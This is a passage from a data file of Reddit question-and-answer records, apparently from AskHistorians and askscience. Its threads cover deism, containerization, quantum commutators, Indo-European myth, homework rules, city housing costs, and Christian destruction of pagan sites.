intellectuals wanted to dabble in radical religion, fine. Just don't spread it to the plebs, or they'll stop behaving properly. Social elites never advocated deism, and when societies and publications sprang up to spread deism to the common man, wealthy individuals refused to support them, and all wound up bankrupt.\n\nDeism died down after 1800, then spiked again in the 1820s before entering perpetual remission. If you are interested in a general history of American unbelief, James Turner's *Without God, Without Creed* (1985) is the most recent, authoritative work. It covers the spectrum, from unorthodoxy to deism to atheism. I nearly wrote a thesis on this very topic, so I have the reading list if you want to dive deep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.adherents.com/rel_USA.html", "http://commons.trincoll.edu/aris/publications/aris-2008-summary-report/"], ["http://en.wikipedia.org/wiki/William_Miller_(preacher)", "http://en.wikipedia.org/wiki/Deist#Deism_in_the_United_States", "http://en.wikipedia.org/wiki/Second_Great_Awakening"], ["http://books.google.com/books?id=Tg8GQgAACAAJ&amp;dq=revolutionary+deists&amp;hl=en&amp;sa=X&amp;ei=3WgnUuvUDemysQSE2oGACg&amp;ved=0CDwQ6AEwAA"], [], []]}
{"q_id": "3i918r", "title": "[Trade  &  Trade Routs] What effect did the invention of the shipping container have throughout the world?", "selftext": " >  ... in 1955, Malcom P. McLean, a trucking entrepreneur from North Carolina, USA, bought a steamship company with the idea of transporting entire truck trailers with their cargo still inside. He realized it would be much simpler and quicker to have one container that could be lifted from a vehicle directly on to a ship without first having to unload its contents.\n\n[Source](_URL_0_)\n\nThis gave birth to \"intermodalism\", the theory that shipping efficiency could be vastly increased when the same cargo can be transported, with minimal downtime, between the sea and land. \n\nI'm not an expert on any of this, but it would seem to me the invention of containerization has to've had an enormous effect on global trade.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3i918r/trade_trade_routs_what_effect_did_the_invention/", "answers": {"a_id": ["cuef45x"], "score": [4], "text": ["Containerization is estimated to have increased bilateral trade by 320% over the first 5 years after introduction, and by 790% over 20  years.\n\nSource:_URL_0_\n\nWhen Malcom McLean invented containers, in 1956, he found that loading and unloading costs (from ships) went from $5.82/ton to $0.16/ton.\n\nLosses from theft plummeted.  Insurance costs fell.  Turnaround time for ships reduced as loading went from 1.7 tons/hr to 20 tons/hour.  Ships became larger, transporting more cargo with relatively less fuel and crew.  Containers also had similar benefits inland, when being loaded on trains or trucks.\n\nThe power of dock workers was reduced (as were their numbers), and the number of strikes went down, further contributing to reduced costs.\n\nAs the costs of transport fell, it became profitable to trade more and more goods that could not have been profitably internationally transported before."]}, "title_urls": [], "selftext_urls": ["http://www.worldshipping.org/about-the-industry/history-of-containerization"], "answers_urls": [["http://www.economist.com/blogs/economist-explains/2013/05/economist-explains-14"]]}
{"q_id": "2y3bzs", "title": "Can anyone help explain a particle-in-box question?", "selftext": "It can be shown in a 2-D particle in a box by finding commutators, that the quantities x, py and y, px (px is momentum in x) can be measured simultaneously to arbitrary precision. That is [X,Py]=[Y,Px]= 0.\n\nI'm having trouble figuring out what this means. Does it mean that the position in x can be known while the momentum in y is also know? That's really weird when comparing to the uncertainty principle([X,Px]=ih). I understand the difference between the two, but it's still weird.\n\nAny explanation or advice on grasping this is appreciated.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2y3bzs/can_anyone_help_explain_a_particleinbox_question/", "answers": {"a_id": ["cp652pg", "cp66tvo"], "score": [6, 3], "text": ["Yes, that's pretty much exactly what it means. One thing that might help is to think about the uncertainty principle in terms of Fourier transforms between the position and momentum domains. When you Fourier transform a Gaussian, you get another Gaussian with standard deviation inversely proportional to the original. If you think of the standard deviation as the uncertainty, then it's easy to see that this is an example of the uncertainty principle. Then, since the Fourier transforms between X and Px and y and Py are independent, it makes sense that the uncertainty principles in these directions would be independent as well.\n\nI don't know if this will help or not. It might be easier if you could explain what about this you find unintuitive.", "You can prepare a state that is (arbitrarily close to) a definite x-momentum state *and* a definite y-position state, or vice versa. It'd just look like delta(y - y0)sin(px/hbar), p being one of the allowable eigenmomenta (p = n hbar/L_x) and delta being an appropriately normalized function approximating a delta function. (And, if you insist on having only *one* almost-definite momentum, you can substitute the sine with a complex exponential that tails off at the ends. But you sacrifice exactness.)\n\nSo you can get (arbitrarily) exact momentum in one direction, and (arbitrarily) position in another, but you can't get both in the same direction. If you start with a 1D exact-momentum state, or approximately exact-momentum state, and you want to turn it into an exact-position state, you'd have to distort the exponential that made the momentum exact more and more in order to confine the position."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "am2qbx", "title": "Why is hindu and greek mythology so similar", "selftext": "I have noticed that many aspects of hindu and Greek mythology are similar for example how all the gods originated from Earth goddess and sky god, how the god of sky is the ruler of all gods,  and many more \n\nI suspect that it is because of trade between India and Greece or maybe people of both countries shared same origin and split up Thier ideology into Greek and hindu mythology", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/am2qbx/why_is_hindu_and_greek_mythology_so_similar/", "answers": {"a_id": ["efj3wx8"], "score": [27], "text": ["In all likelihood, Greek and Hindu religious belief systems are similar not because of trade contacts, but because they are actually directly related, sisters descended from a prehistoric Indo-European religion or religious continuum. You can find further correspondences with Roman, Celtic, Germanic, Lithuanian, Slavic, and Hittite religions, all of which are also part of the Indo-European diaspora beginning roughly 6000 years ago and continuing in waves for another 3000-4000 years.\n\nThere are no direct attestations of these prehistoric Indo-European religious beliefs themselves, but like the proto-language, they have been reconstructed using comparative historical and linguistic methods. The basic framework will seem familiar: a chief daytime sky god (Indra, Zeus, Jupiter, Dei Patrous, and a few theologically demoted gods such as Tyr) whose daughter is the goddess of the dawn (Usas, Eos, Aurora, Eostre, Au\u0161rin\u0117). A pair of divine twins, usually the children of the daytime sky god (the Ashvins/Ashvieniai, Kastor/Castor and Polydeukes/Pollux, Hengis and Horsa, a possible Celtic cognate in Br\u00e2n and Manawydan). Another pair of brothers involved in the creation of the universe or the foundation of the believing community (Manu and Yama, Mannus and Ymir, possibly also Romulus and Remus). A storm god (Perkunas, Perun, possibly Parjanya and Thor), a water god (Apam Napat, Neptunus, Nechtain) and a nature god (Pushan, Pan). A serpent (Vritra, Kaliya, Illuyanka, the Lernaean Hydra, Python, Jormungandr, Fafnir, Beowulf's dragon) slain, often by the thunder god.\n\nMany, many other correspondences are disputed, debated or less certain due to insufficient evidence, and none of this is meant to discount other myths and beliefs that *do* arise out of cultural contact, but on the balance there's a wealth of evidence supporting a common origin for all of these Indo-European mythological/religious belief systems.\n\n* Mallory/Adams, [*The Oxford Introduction to Proto-Indo-European and the Proto-Indo-European World*](_URL_0_), 2006.\n* West, [*Indo-European Poetry and Myth*](_URL_1_), 2009."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com/Oxford-Introduction-Proto-Indo-European-World-Linguistics/dp/0199296685", "https://www.amazon.com/Indo-European-Poetry-Myth-M-West/dp/0199558914"]]}
{"q_id": "5gszft", "title": "AskHistorians Homework Policy Finals Time Rehash", "selftext": "As the semester comes to a close for many people, and that paper or final you've put off studying for looms just around the corner, it seems the perfect time to use this series for our periodic revisiting of the \"Homework Questions\" rule. Not that this time of the year has an exclusive hold on them, but we often do find there to be an uptick either in questions which are explicitly regarding schoolwork, or else smell suspiciously similar without disclosing it (and to be clear, we are pretty good at sniffing them out, even if we won't help you out here by saying *exactly* what we look for!). To start off, we *don't* prohibit you asking questions regarding your homework here in /r/AskHistorians. [Our rules state](_URL_0_):\n\n > Our users aren't here to do your homework for you, but they might be willing to help. Remember: AskHistorians helps those who help themselves. Don't just give us your essay/assignment topic and ask us for ideas. Do some research of your own, then come to us with questions about what you've learned.\n\nThat is to say, if you are looking for help, don't make /r/AskHistorians your first stop. If you do some research, come here and be honest about what your assignment is *and give us a run down of what your research is showing you so far*, you'll find users here being quite amenable to lending a hand and pointing you in the right direction. \n\n**So what do good homework questions look like?**\n\n* I'm writing an essay on the development of the bolt-action rifle, and the effect it had on warfare in the latter-half of the 19th century. I've mainly been focusing on the Austro-Prussian War, and the clear dominance that the Dreyse showed over Lorenz Rifle, and the Franco-Prussian War, where the Chassepot in turn showed itself to be superior to the Dreyse. What I'm tripping up on however is why, after its strong showing (even if the French lost) the Chassepot so quickly was regarded as obsolete. If someone could help me out here, or point me in the right direction, that would be great!\n\n > *Explains what the assignment is and demonstrates that they have already done research already (although even this is on the brief side of what we'd like to see. You really should be giving us a proper paragraph or two). More importantly, it is about an explicit point of interest within the topic that they are having trouble with.*\n\n* I'm doing an assignment about the influence of the printing press on literacy in the 15th to 16th centuries. I've read X, Y, and Z, and my thesis will most likely be ______. I'm looking for any more sources that might help me move further in my research, or that might offer a counter point to the perspective I've gotten so far. Thank you!\n\n > *Asking for sources is perfectly fine, and if anything, is our most preferred type of homework question! Same as before though, make sure you are demonstrating to us your commitment and prior base of work. Simply asking other people for books though shouldn't be your first stop, and we really hope that you'll first consider using our six-part series \"[Finding and Understanding Sources](_URL_1_)\" to get started when looking for sources. It is a fantastic resource created by our flaired users, offering great advice on the research process.*\n\n**A few examples of how not to ask, and how you can improve the question**\n\n* I need to write an essay on a topic regarding the Renaissance. What should I write about?\n\n > *I don't know... What did you learn about in class? What resonated with you? We can throw topics at you, but that isn't going to help you any. You need to write about something you connect with, not what a stranger on the internet happens to enjoy, and that is skipping over the fact that being able to analyze the topic and come up with a good theme for an essay is a key skill that you need to learn in school!*\n\n* I have an exam on 13th Century French Art coming up! What should I know about for it?\n\n* I'm writing an essay on the 1968 May Days in France. What points should I talk about in it?\n\n > *Check your notes. Read through your text books. Check your library or an online resource such as JSTOR for useful sources. No one here is going to do your work for you. Come back when you have specific questions that remain a roadblock for you after doing research. If you are looking for advice on how to get started, check out the \"[Finding and Understanding Sources](_URL_1_)\" collection, which can provide you with some great advice, but it does you no good to get someone else to do your research for you.*\n\n* Compare and contrast the social influence of the works of Christopher Marlowe and William Shakespeare.\n\n > *We have pretty good noses for homework questions, since we all had to answer them ourselves, and many of us are now in the business of writing them. This one is super obvious, but we catch many that aren't. Please, be honest and upfront. And also, Google indexes these pages. We have flaired members of the sub who found us when checking students' papers for plagiarism! So even if we don't catch you, your teacher might, and that is much, much worse! Plagiarism on this sub gets you banned from an internet forum. Plagiarism in school can get you expelled from the institution.*\n\nSo that's about the sum of it. As we said at the beginning, /r/AskHistorians loves to help those who help themselves, and as long as you show up here being honest about the assignment, and being clear about what you already have done and how we can assist, you'll find people eager to show you the way. But questions which do not conform to this policy *will be removed*.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5gszft/askhistorians_homework_policy_finals_time_rehash/", "answers": {"a_id": ["dauwdga", "dauy0hd", "dauzcp8", "dav22o1", "dav4mf9", "dav9msi", "davdisj", "davf2f3", "davniw3", "davpnwo", "davukkb"], "score": [47, 37, 21, 6, 28, 16, 8, 4, 6, 10, 2], "text": ["So my question \"What is the major historiography (lets say roughly 10 works) in the field of the Holocaust since 2000 and how do they speak to one another? Be as detailed as possible\" isn't going to fly?\n\n", " >  Compare and contrast the social influence of the works of Christopher Marlowe and William Shakespeare.\n\nSo, uh, I would actually like to know the answer to this.", "Damn I wish I had thought of that bolt-action paper in undergrad. That would be a fun topic. ", "You guys ever consider adding a \"Homework Question\" reporting reason for the sub? I've noticed dozens of these over the years and never considered they might be something you guys wanted to be made aware of.", "Delete if this isn't the place, but you mods here are fucking saints for what I'll bet you put up with spamwise and the overall level of quality of posts found in the sub.", "I am a student in USA in 1996. What do I write about?", "So how come the Chassepot was regarded as obsolete so quickly?", "I wrote a grauate research paper on Heller vs DC, but I need some help on citing Scalia, Breyer, and Stevens words in APSA format.\n\nIs it as simple as \"quote\" (Heller v. District of Columbia 2008).  Or do I cite the page number where the quote appears?  I can't get a straight answer on Google.\n\nThanks!", "Aw, and here I was going to submit \"Please Explain World War 2.\"", " > I need to write an essay on a topic regarding the Renaissance. What should I write about?\n\nOoh! Ooh! I can answer that! You can talk about the larger-than life artists and political leaders that dominated the historical narrative thanks to enthusiastic biographers of the time, like Lorenzo the Magnificent's literally talking his way out of an ambush meant for his father as they moved from their personal villa into Florence proper to suppress a revolt. Or his incredibly ballsy move of to travelling to the enemy kingdom of Naples in his successful attempt to win King Ferrante I over after the Pope excommunicated the entire population of Florence and marched on the tuscan city after a failed coup resulted in the death of the Archbishop of Pisa-- all paid for by embezzling funds from the public treasury.  You can discuss the evolution of the military incentives between city states, bringing rise to the condottieri and their famously low deaths between them. You can also talk about Papal Influence and how religion and politics led to extremely strange (from our perspective) situations, such as the 60 year-old Vicar of Christ personally leading Catholic troops against other Catholic troops. And... and this... and that...\n\n...yeah. Woo, Renaissance.", "Here's a fun (if you're crazy like me) question: how do you cite/r/askhistorians?\n\nAssuming one was to ask a valid homework question and received help from the sub, what is the correct citation method in MLA, APA, and Chicago? I know I would certainty consider it an academic integrity violation to not cite the sub if someone got substantive ideas from a post here and included them in a paper "]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_homework", "https://www.reddit.com/r/AskHistorians/wiki/theory#wiki_monday_methods.3A_finding_and_understanding_sources"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2e5dyz", "title": "When did NYC, San Francisco, LA, and DC become so expensive? Were they always expensive or is this a more recent phenomenon?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2e5dyz/when_did_nyc_san_francisco_la_and_dc_become_so/", "answers": {"a_id": ["cjw9v33", "cjwk468", "cjwrgmf"], "score": [11, 13, 4], "text": ["You should better ask in /r/AskSocialScience (economy). Big and important cities are always more expensive than less important cities or the countryside. ", "As to New York City, at least, Robert Caro's *The Power Broker: Robert Moses and the Fall of New York* argues that part of the reason the city is both expensive and difficult to live in is because of mid-century (and especially post-war) construction priorities. \n\nIn brief, Tammany Hall (by which I mean, Democratic city mayors prior to La Guardia) left behind a decrepit and decaying physical plant. Roads were narrow and outward-flowing thoroughfares were nonexistent, subways were rickety and inadequate, public housing undreamt of. Under La Guardia, the city made great strides to eliminate the gaping deficits opened by Tammany-era mismanagement, but spent those savings on restorative work and improvements designed to benefit drivers, not commuters.  This trend continued and worsened in the post-war boom, as the city built new bridges, highways, and tunnels, but left the subway substantially unimproved and unfunded. \n\nAll of this resulted in skyrocketing demand for parking spaces and car space within the city limits, which in turn is why rent on a parking space costs as much in Manhattan as a mortgage would in a midwestern suburb. It also means that the city's public transit (the MTA) has to charge nontrivial rates just to keep the trains running close to on time. Because previous generations failed to plan for the middle class, Caro argues, the middle class of today must fight harder and pay more for their share of city life. \n\nCaro has not, as far as I know, been contradicted in this assessment, and his take on the defects in pre-modern city planning approaches gospel among New York City's political class. \n\nThis doesn't speak to real estate values, of course, but it might explain middle-class concerns in one of your identified cities. ", "I could try to answer for San Francisco.  San Francisco is a city that has gone through multiple cycles of boom and bust economies, you can read more about the history of the city in a really fascinating book [Imperial San Francisco](_URL_1_) by Gray Brechin.  San Francisco has at times been an extremely desirable city to live in (during the boom times) and at others times has seen the same white flight phenomenon as other major cities, such as during the 1970's when the city famously became home to poorer immigrant communities (many of them Mexican-American) and members of various counter-culture groups.\n\nHistorically the city has always had a mix of the very well-to-do, and the less so, and in very close proximity to each other.  That proximity is in fact one major issue.  San Francisco is only approximately 7 miles by 7 miles, and bordered on three sides by water.  It's geographic constraints have always been at the heart of land development in the city.  That is coupled with policies set by the city in the past several decades to greatly restrict the development of new housing stock.  In the 1970's and 1980's the city passed measures restricting the construction of new office space which sent a lot of jobs fleeing the city and reduced the population.  But those same policies are now responsible for the serious housing shortage in the city and the exorbitant prices for rental housing and home purchases.  San Francisco has some of the most byzantine and elaborate permitting procedures for new housing development.  It is one of the few cities that does not allow simple permitting \"by-right\" meaning that even if the planning department fully approves a project in an area it is adequately zoned for, there is still a process by which environmental and neighborhood concerns can (and frequently do) bring new development to a halt.  All of this has led to prices being so high for housing in the city as this has coincided with one of the city's cyclical booms - in this case the tech sector booms in the form of the dot-com bubble and the more recent tech boom in internet and startup companies.\n\nThere is a lot of complication in this issue, including many arguments made that San Francisco's housing problems are connected to the greater Bay Area and lack of regional housing and transportation policy and planning.  Boom Magazine had a [really good article](_URL_0_) on this subject if you are interested in a more in-depth read.\n\nBut to make a long story short, San Francisco has not always been \"so expensive\" and the cost of living in the city (primarily housing) is tied to cyclical boom and bust cycles in the regional economy as well as geographic constraints and restrictive city planning."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.boomcalifornia.com/2014/06/living-in-a-fools-paradise/", "http://www.amazon.com/Imperial-San-Francisco-Urban-Earthly/dp/142235346X"]]}
{"q_id": "10oey8", "title": "Would a Roman be able to digest today's food? How about a caveman? ", "selftext": "Or going even farther back, would Lucy have been able to digest the stuff we eat today?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10oey8/would_a_roman_be_able_to_digest_todays_food_how/", "answers": {"a_id": ["c6f7zdn", "c6fa0lv", "c6fdawh"], "score": [17, 6, 2], "text": ["I don't see any reason why they wouldn't, the genetic varieties of plants have changed quite a bit but the fundamental nutrients are the same.  It would be like us eating food in a foreign country, you can easily get a tummy ache but you won't starve. \n\nThe bigger problem would be the pathogens and any bacteria in the food, as the diseases have changed dramatically over the centuries. Fatal infections are very possible and diarrhea is all but guaranteed. \n\nAnd the term \"caveman\" doesn't really apply to the majority of our ancestors, living in caves is mostly what Neanderthals did, and it is not yet clear how closely related we are to them. Neanderthals had a very different diet from our traditional ancestors, but apparently we are both of the same species. They ate much more meat than we do, up to 80% of their diet in some cases! ", "Even chimps (and rats, for that matter) can eat human food.  Actually the human digestive system doesn't look all that different from that of most other primates that don't eat a specialized diet.", "I would expect contemporary food to be easier to digest, seeing as how its almost all processed in some way or other that makes it either easier to digest or less hazardous. I think it would be a lot harder for a contemporary human to live on an australopithecus diet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3kem1v", "title": "Did the Catholic Church ever destroy temples, landmarks, or holy sites of other faiths?", "selftext": "Did the Catholic Church use this method to change the culture and religion of regions it's followers conquered?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3kem1v/did_the_catholic_church_ever_destroy_temples/", "answers": {"a_id": ["cuwv8yz", "cuwyt4k", "cuwyzbx", "cux1gty", "cux21rf", "cux8zls", "cuxk0p5"], "score": [39, 21, 142, 32, 10, 8, 3], "text": ["The church specifically or nations doing this in the name of the church? ", "Hello everyone, \n\nIn this thread, there have been a large number of incorrect, speculative, or otherwise disallowed comments, and as such, they were removed by the mod-team. Please, before you attempt answer the question, keep in mind [our rules](_URL_0_) concerning in-depth and comprehensive responses. Answers that do not meet the standards we ask for will be removed. \n\n", "The conquistadors and their successors specifically set out to destroy indigenous religion and religious sites and replace them with Catholic ones in South and Central America.  There are a fair number of cathedrals and churches in Mexico, Ecuador and Peru that are built on top of destroyed temples, often reusing the same stones.  In Tenochtitlan, now Mexico City, the entire temple district was razed and the existing main cathedral of Mexico City was built over part of it.\n\nAlmost all of the paper texts created by the Maya were destroyed by a Catholic priest named Diego de Landa in 1562.  Not all of them were religious but a lot of them were.\n\nIn the Andes, priests received orders to destroy all the native idols, mummies which were venerated as ancestors, and huacas, or sacred locations on the landscape.  There's a letter from a frustrated priest (I don't have the reference to hand) complaining that his job is impossible because the natives worship sacred mountains, rock outcrops, and other natural features too permanent to destroy.\n\n\n\n[Here's a reference for Peru](_URL_1_)\n\n[Here's a reference for the Maya codices](_URL_0_)", "Yes, Christians have at various points throughout history destroyed traditional and sacred sites associated with other belief systems. However, this is a bit of broad question as it covers nearly two thousand years worth of history and policies and practices directed against non-Christians have varied drastically with time and place. Is there a time period in particular that you are interested in? \n\nDuring the early medieval period, for example, we have accounts of Christians destroying sacred groves and other non-Christian cultic sites. One of the more famous accounts comes from the *Vita* of St. Boniface, and concerns the destruction of the oak at Geismar in Hesse, likely dedicated to Thor. The tale attributes the destruction of Donar's Oak to the saint:\n\n > Now at that time many of the Hessians, brought under the Catholic faith and confirmed by the grace of the sevenfold spirit, received the laying on of hands; others indeed, not yet strengthened in soul, refused to accept in their entirety the lessons of the inviolate faith. Moreover some were wont secretly, some openly to sacrifice to trees and springs; some in secret, others openly practiced inspections of victims and divinations, legerdemain and incantations; some turned their attention to auguries and auspices and various sacrificial rites; while others, with sounder minds, abandoned all the profanations of heathenism, and committed none of these things. With the advice and counsel of these last, the saint attempted, in the place called Gaesmere, while the servants of God stood by his side, to fell a certain oak of extraordinary size, which is called, by an old name of the pagans, the Oak of Jupiter. And when in the strength of his steadfast heart he had cut the lower notch, there was present a great multitude of pagans, who in their souls were earnestly cursing the enemy of their gods. But when the fore side of the tree was notched only a little, suddenly the oak's vast bulk, driven by a blast from above, crashed to the ground, shivering its crown of branches as it fell; and, as if by the gracious compensation of the Most High, it was also burst into four parts, and four trunks of huge size, equal in length, were seen, unwrought by the brethren who stood by. At this sight the pagans who before had cursed now, on the contrary, believed, and blessed the Lord, and put away their former reviling. Then moreover the most holy bishop, after taking counsel with the brethren, built from the timber of the tree wooden oratory, and dedicated it in honor of Saint Peter the apostle.\n\nNow it's important to remember that hagiography, along with most early medieval history writing, has a tendency to appeal to certain literary tropes in the construction of their narratives, usually with a specific end-goal in mind (i.e. this saint should be venerated!). The 'pagan showdown' trope is a common one --usually ending in a miraculous event--, but the appeal of such stories was that the destruction of 'pagan' holy sites in some measure demonstrated the victory of the Christian God over non-Christian ones. In other words, the author implies that this kind of destruction was good and assumes that his audience would generally agree. That at least gives us some idea of the attitudes of some Christians towards pre-Christian sites in the early medieval period. However, while the destruction of groves certainly happened, that does not mean the practice was coordinated. Early medieval Christianity was incredibly diverse, decentralized, and did not operate as a coherent unit.\n\nEdit: Since you have asked specifically about the role of polities in the destruction of religious sites and the endorsement of such actions by the Church, Charlemagne\u2019s campaign against the Saxons might be a worthwhile subject to touch upon. \n\nIn AD 772, Charlemagne invaded Saxony and ordered the destruction of Irminsul, kicking off the infamous Saxon Wars. Irminsul was another sacred site, which like others was associated with the world tree (we don\u2019t know exactly what was venerated on the site). The war had a strong religious component to it, with major Frankish victories followed by baptisms, church foundations, and forced tithes.The response to these campaigns were mixed, and we do see criticism of Charlemagne\u2019s heavy-handed approach. Anglo-Saxon missionaries had certainly experienced Carolingian support or backing in the desecration of sacred sites in the past, so it was not the destruction of non-Christian sites per se that prompted these responses. Alcuin in particular argued for delayed baptisms and tithes. Alcuin\u2019s model for missionary activity is outlined further in the various saints\u2019 *Lives* he authored and letters to contemporaries, which emphasizes an approach that relies on preaching and not on force. The missionary Lebuin, according to his *Life*, urged the Saxons to convert before the Franks invaded, and the text seems to indicate that it is an attempt to head off Charlemagne\u2019s policies.\n\nOf course, that does not mean that others did not approve of Charlemagne\u2019s efforts, the (premature) panegyric *De coversione Saxonum* written by Angilbert certainly takes the perspective of one who supports the king\u2019s efforts to bring Christianity to the heathen. Despite the failure to thoroughly convert the Saxons through force, similar actions would also be used in campaigns against the Avars. The larger point is that the medieval church was not a monolithic entity, dispensing its approval or disapproval in hive-mind fashion. While the treatment of pre-Christian sites was generally negative, how to approach \u2018converting\u2019 various peoples on the fringes of the Christian world was an ongoing dialogue throughout the period.\n", "Others have rightly pointed out here that the question is a tad fraught, as what constitutes an *act of the Church per se* (i.e., what mandate or action is required) directly determines whether such events have been entirely commonplace, or almost wholly absent.  \n  \nThat having said, the most prominent example in my area of specialisation is to be found in [Willibald's Life of St. Boniface](_URL_0_).  Here, during the Anglo-Saxon Saint Boniface's 8th century mission to the continent, we are provided a precious anecdote offering an insight into the early medieval Christian Germanic encounter with Germanic paganism.  And we are provided a story of the [destruction of a sacred place](_URL_1_) by a church leader:  \n  \n > Moreover, some continued secretly, others openly, to offer sacrifices to trees and springs, to inspect the entrails of victims; some practiced divination, legerdemain, and incantations; some turned their attention to auguries, auspices, and other sacrificial rites; while others, of a more reasonable character, forsook all the profane practices of the Gentiles [i.e., pagans] and committed none of these crimes. With the counsel and advice of the latter persons, Boniface in their presence attempted to cut down, at a place called Gaesmere, a certain oak of extraordinary size called in the old tongue of the pagans the Oak of Jupiter [i.e., Donar]. Taking his courage in his hands (for a great crowd of pagans stood by watching and bitterly cursing in their hearts the enemy of the gods), he cut the first notch. But when he had made a superficial cut . Suddenly, the oak's vast bulk, shaken by a mighty blast of wind from above crashed to the ground shivering its topmost branches into fragments in its fall. As if by the express will of God (for the brethren present had done nothing to cause it) the oak burst asunder into four parts, each part having a trunk of equal length. At the sight of this extraordinary spectacle the heathens who had been cursing ceased to revile and began, on the contrary, to believe and bless the Lord.  \n  \nEdit: I should note that though the account itself sounds fanciful in the details, we have every reason to consider it authentic in the generalities.  Willibald is a contemporary of Boniface who is personally familiar with the man and cannot be less than equally familiar with this most significant mission of the early 8th century Anglo-Saxon church (by which time all of England itself has come under Christian rule).  Clearly, he is a biased source.  But beyond hearing the account of Boniface himself, he could not be a better placed one.", "Interesting that no one has mentioned that many of the great cathedrals of Southern Spain (for example Cordoba) are built around or inside a mosque. In the case of Cordoba, they (the Church and Castille) walled up the airy space, ripped out a few columns and arches, and stuck a cathedral in the middle. The central mosque of Seville formed the basis of the cathedral there as well and I would expect this happened in other cities too.", "The Temple of Jupiter in Damascus was converted into a church in the late 4th century.  This in turn became the Umayyad Mosque a few centuries later.\n\nIF you go, it's always interesting to notice the various styles of [stonework](_URL_0_)  and look how the old [Roman columns](_URL_1_) were recycled, especially under the treasury.\n\nI don't know if it counts as an answer to your question. You say \"The Catholic Church\" but at the time it was one of five catholic churches, falling under the Patriarch of Antioch and not Rome.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/wiki/rules"], ["https://books.google.com/books?id=eHwLgl2dMg0C&amp;pg=PA297&amp;lpg=PA297&amp;dq=de+landa+codices&amp;source=bl&amp;ots=UcsZID1BB6&amp;sig=qRUeqGOswUlX9-7UVpeSmSViFJE&amp;hl=en&amp;sa=X&amp;ved=0CEMQ6AEwBWoVChMI4q7V4IHtxwIVR20eCh2ciAYq#v=onepage&amp;q=de%20landa%20codices&amp;f=false", "https://books.google.com/books?id=vaawuxOTpOMC&amp;pg=PA74&amp;lpg=PA74&amp;dq=catholic+church+destroys+huacas&amp;source=bl&amp;ots=EGQsf3tsTE&amp;sig=jWc6i30hpCjYpELII9pdH4nS5Ns&amp;hl=en&amp;sa=X&amp;ved=0CCUQ6AEwAmoVChMI8p_FxYDtxwIVRF4eCh0FYgnO#v=onepage&amp;q=catholic%20church%20destroys%20huacas&amp;f=false"], [], ["http://legacy.fordham.edu/halsall/basis/willibald-boniface.asp", "https://en.wikipedia.org/wiki/Donar%27s_Oak"], [], ["https://www.google.com/maps/place/Damascus,+Syria/@33.5114525,36.3054271,3a,53.8y,215.19h,91.13t/data=!3m8!1e1!3m6!1s-Iuv9yBUqjHQ%2FVLQvbi_nmoI%2FAAAAAAAAIr8%2Fh6-dBBcLlqo!2e4!3e11!6s%2F%2Flh5.googleusercontent.com%2F-Iuv9yBUqjHQ%2FVLQvbi_nmoI%2FAAAAAAAAIr8%2Fh6-dBBcLlqo%2Fs203-k-no%2F!7i5916!8i2958!4m2!3m1!1s0x1518e6dc413cc6a7:0x6b9f66ebd1e394f2!6m1!1e1", "https://www.google.com/maps/place/Damascus,+Syria/@33.5118461,36.3062533,3a,75y,269.61h,100.11t/data=!3m8!1e1!3m6!1s-rO1hu6SF5L0%2FVBgg9RE_wPI%2FAAAAAAAAEtE%2Fu69NYH-EPD4!2e4!3e11!6s%2F%2Flh3.googleusercontent.com%2F-rO1hu6SF5L0%2FVBgg9RE_wPI%2FAAAAAAAAEtE%2Fu69NYH-EPD4%2Fs203-k-no%2F!7i5000!8i2500!4m2!3m1!1s0x1518e6dc413cc6a7:0x6b9f66ebd1e394f2!6m1!1e1"]]}
{"q_id": "1ck02l", "title": "Did ancient societies have problems with unemployment?", "selftext": "How recent a problem is unemployment? It makes sense that societies would need a certain level of development to have a surplus labour problem, but I imagine that urban centres like Rome would have been developed enough for it to to have potentially arisen. Or was the potential for unemployment subsumed  by labourless aristocracies?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ck02l/did_ancient_societies_have_problems_with/", "answers": {"a_id": ["c9h9ljq", "c9hawf7", "c9hb7vy", "c9hbo58"], "score": [4, 4, 31, 10], "text": ["To add to this question, how might systems of forced labor contribute to or alleviate potential issues with unemployment? Was there ever a shortage of slaves/indentured servants/prisoners of war such that the standard labor could not be carried out? I dislike adding such conjecture to a top level comment, but I would guess that most issues with unemployment today arise from the premise that all able-bodied members of a society should work in some form or fashion.", "You might be interested in [this excellent comment](_URL_0_) by *Daeres* on 'unemployment' in Ancient Athens. Doesn't exactly answer your questions though.", "Yes, they certainly did. A huge problem in the late Roman Republic was rising unemployment and a rising gap between the rich and the poor. Basically, for a few centuries the Roman Republic had been grabbing more and more land, going from a small city and its surrounding territories to a vast empire that dominated the Mediterranean. Ancient societies like Rome were agrarian-based, so the more land you had, the wealthier and more powerful you often were. As a result, rich individuals in the Republic - the patricians, equites, and very wealthy plebeians - bought up this land in vast quantities. In doing so, small, family-run farms were quickly being replaced by these vast plantations. The problem was that these large landowners then would not employ the former small farmers on their plantations - instead, they brought in slaves (another bounty of conquest) to work their farms. As a result, thousands of small farmers ended up landless and jobless, forcing them into cities like Rome itself.\n\nThe Romans weren't stupid, and they realized that this was happening. Many Romans tried to stop it via land reform, the most famous of them being Tiberius and Gaius Gracchus, brothers who served as tribunes during the 2nd century BC. The Gracchi brothers supported land reform - putting a cap on how much land those big landowners could hold and distributing excess land to the poor - but their support for land reform cost them their lives. There were technically similar caps already in Roman law, but they were easy to circumvent, and the wealthy landowners - 